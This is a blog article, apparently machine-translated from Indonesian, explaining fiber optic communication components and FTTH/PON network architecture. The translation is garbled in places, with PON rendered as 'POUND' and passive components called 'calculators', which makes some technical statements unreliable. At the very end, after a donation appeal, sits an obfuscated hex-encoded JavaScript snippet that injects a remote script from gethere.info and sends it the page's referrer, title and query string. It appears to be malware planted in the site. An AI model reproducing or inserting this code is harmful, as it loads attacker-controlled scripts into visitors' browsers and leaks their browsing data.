Basic communication Fiber optic and FTTH (Fiber To The Home)

The times demanded information disclosure and, of course, communication became one of the important aspects that marked the rise of a civilization. Nowadays, the community be facilitated to communicate, even with people in the other hemisphere. Since found the telegram, radio, and cellular network communication easier and faster.

One of the technologies that are being developed as a communication medium is fiber optic technology. Optical fiber is popular for user sector remain as offices, high-rise buildings, school, or home like Telkom Indonesia's latest product i.e. IndiHome. Fiber optic cable is itself from the material of silica (glass) that are able to transmit light. So, instead of being delivered via an electric current in the copper wire as in the telephone network, data is sent in the form of light propagating through the fiber optic glass.

The advantage of choosing fiber optic technology is such a high speed and greater capacity. Imagine if the data submitted with the speed of light! surely achieve the goal first compared to creep speed electric current in the copper wires. Capacity or bandwidth of the network is also great because in one cable, multiple series of data can be sent in the same time, using the techniques of WDM (Wavelength Division Multiplexing).A�With a wide range of research conducted at this time, does not cover the possibility of communication with fiber optic speed will increase.[5]A�

As with any form of communication, the sender component required (transmitter), lines of communication, and the receiver (receiver) in the form of a fiber optic communications system. In addition, required some equipment that can be categorized in the active and passive components[1]. The active component is a tool that requires a power source to operate. Examples include lasers, amplifiers, modulators, attenuator, and switches. Whereas calculators are tools that do not need other energy sources and only work to transmit a signal light. An example is the fiber optic, connectors, splices, optical filters, and the coupler.

Figure 1. The basic arrangement of optical communication

The basic structure of the fiber optic communication system shown in Figure 1. There are three important aspects, namely transmitters, receivers, and lines of communication.A� Each will be explained in the following descriptions:

• Transmitter

The transmitter consists of several parts. Its main part is a light source that is aided by the multiplexer component, modulator, coupler, etc. The light source used in the field of communication is the laser diodes or LEDs. Both are distinguished based on the mechanism of the generation of the light going on.

A multiplexer is a component that allows an increase in the capacity of optical fiber through a system of TDM (Time Division Multiplexing) and WDM (Wavelength Division Multiplexing). On TDM, information from many sources are sent in sequence to a destination, whereas in WDM, the signal is not sent one by one but every source has a different wavelength, so it can be transmitted simultaneously within a single fiber. This causes capacity on fiber optic network WDM is much larger.A�[1]

Figure 2. The basic concept of WDMA�[1]

The components of the transmitter next is the modulato[1]r. Electrical signals are converted into optical signals through the modulation process. Modulation is a signal of how information is translated to another signal worked as a carrier (carrier).

A�

• Lines of communication

A network maybe not only consists of a straight cable but there is a connection or branching from fiber optics. Some kind of connection on a fiber optic is a coupler, connectors, and splice. Coupler is the lens on the tip of micro optical fiber which functions focusing light from the transmitter in order to be guided in the fiber to its full potential. The connector is a fiber optic connection between the end with the other end of that nature can be fitted and removed repeatedly.

Figure 3. SC connector (a) and (b) [2]

In contrast to the connectors, the connection form permanent portion of splice. Splice connection is a direct connection between the two ends of the fiber obtained by fusion or mechanical splicing[1]. On the methods of fusion splicing, optical fiber tip is heated to melting and connected permanently. On mechanical splicing, fiber-tip affixed to each other and tied with clamp or a special place.

• Receiver

Optical Receiver for receiving signals transmitted light fiber optic and then change it back into a form of electrical signals. Receiver consists of several components namely coupler, to focus the signal received towards the photodetector, a photodetector as recipient of the signal, and demodulator to convert the signal back into an electronic signal. The two types of qualified the photodetector is Photodioda and PIN photodioda Avalanche (APD).

Fiber To The Home (FTTH)

Fiber To The Home (FTTH) is the system of optical fiber network access provision which point optical conversion at home customers[3].A� Optical conversion point is the tip of the fiber optic network on the client side that serves as a place of conversion optical signal into electrical signal before it is accessed by a variety of devices. FTTH is one of a variety of FTTX network alternative. The other is the term Fiber To The Building (FTTB), Fiber To The Curb (FTTC), Fiber To The Tower (FTTT), or Fiber To The Zone (FTTZ).

Fiber optic communication network architecture used in FTTH is a Passive Optical Network (PON). PON is the point-to-multipoint network that does not have an active component in addition to the side of the Central Office (CO) and customer/user. In other words, the optical signal is transmitted only through passive components, namely, optical fiber splices, and the splitter/combiner. POUND is the latest technology after the Point-to-point fiber connection, where each client has a private optical fiber line to the CO, and Active Optical Network (AON), namely network that requires an active component in the form of an electronic switch as dealer information.A�[4]

Since being discovered by British Telecom in the 1980 's, the POUND continued to be developed because it has high flexibility. As evidenced by the emergence of various schemes of new networks rooted from the pound, i.e. GE-PON, Broadband PON (BPON), [5]GPON, XGPON, and Ethernet PON (EPON[6]). The POUND also performed on the development way of sharing data is performed, i.e. TDM-PON, WDM-PON, and Hybrid-pound[4]s. The topology of PON can also be varied as the network topology tree to use at umunya, bus or ring.

Optical communication system as well as discussed earlier, the POUND had a central component called an Optical Line Terminal (OLT), Optical Network Unit (ONU)/Optical Network Termination "approach (ONT), and the Optical Distribution Network (ODN[3]). General configuration-based FTTH PON is shown by the following image:

Figure 5. Common configurations for FTTHA�[3]

• OLT optical fiber end is on the CO that connects Metro Ethernet backbone network to (ME) or to a different network.
• ONU or ONT optical fiber end is on the side of the customer, where there are optical conversion point
• Fiber Access area (DAF) or part of the ODN is divided into 4 segments based on type of fiber optic cable used, namely:
• Segment 1: cable feeder connecting Optical Distribution Frame (ODF) and Optical Distribution Cabinet (ODC)
• Segment 2: cable distribution and Optical Distribution Point (ODP). ODC and ODP was the location of the connection (splice) and splitter
• Segment 3: drop cable and Optical Terminal Premises (OTP)
• Segment 4: indoor cables placed in the home and Indoor Optical Outlet (Rosette)

Jaringn FTTH schemes are popular because although a little expensive, fiber optic technology will be able to last a long time and is a promising investment. Not only for internet access, the current cable television (IPTV) and Wireless (Wi-Fi) also began to be integrated into a fiber optic communications. Although still there are only in big cities, we hope indonesia can enjoy this technology in the future.

Reference:

A�

A�

You feel this article helpful? Let's help Warstek for larger could be useful by giving a donation.

var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}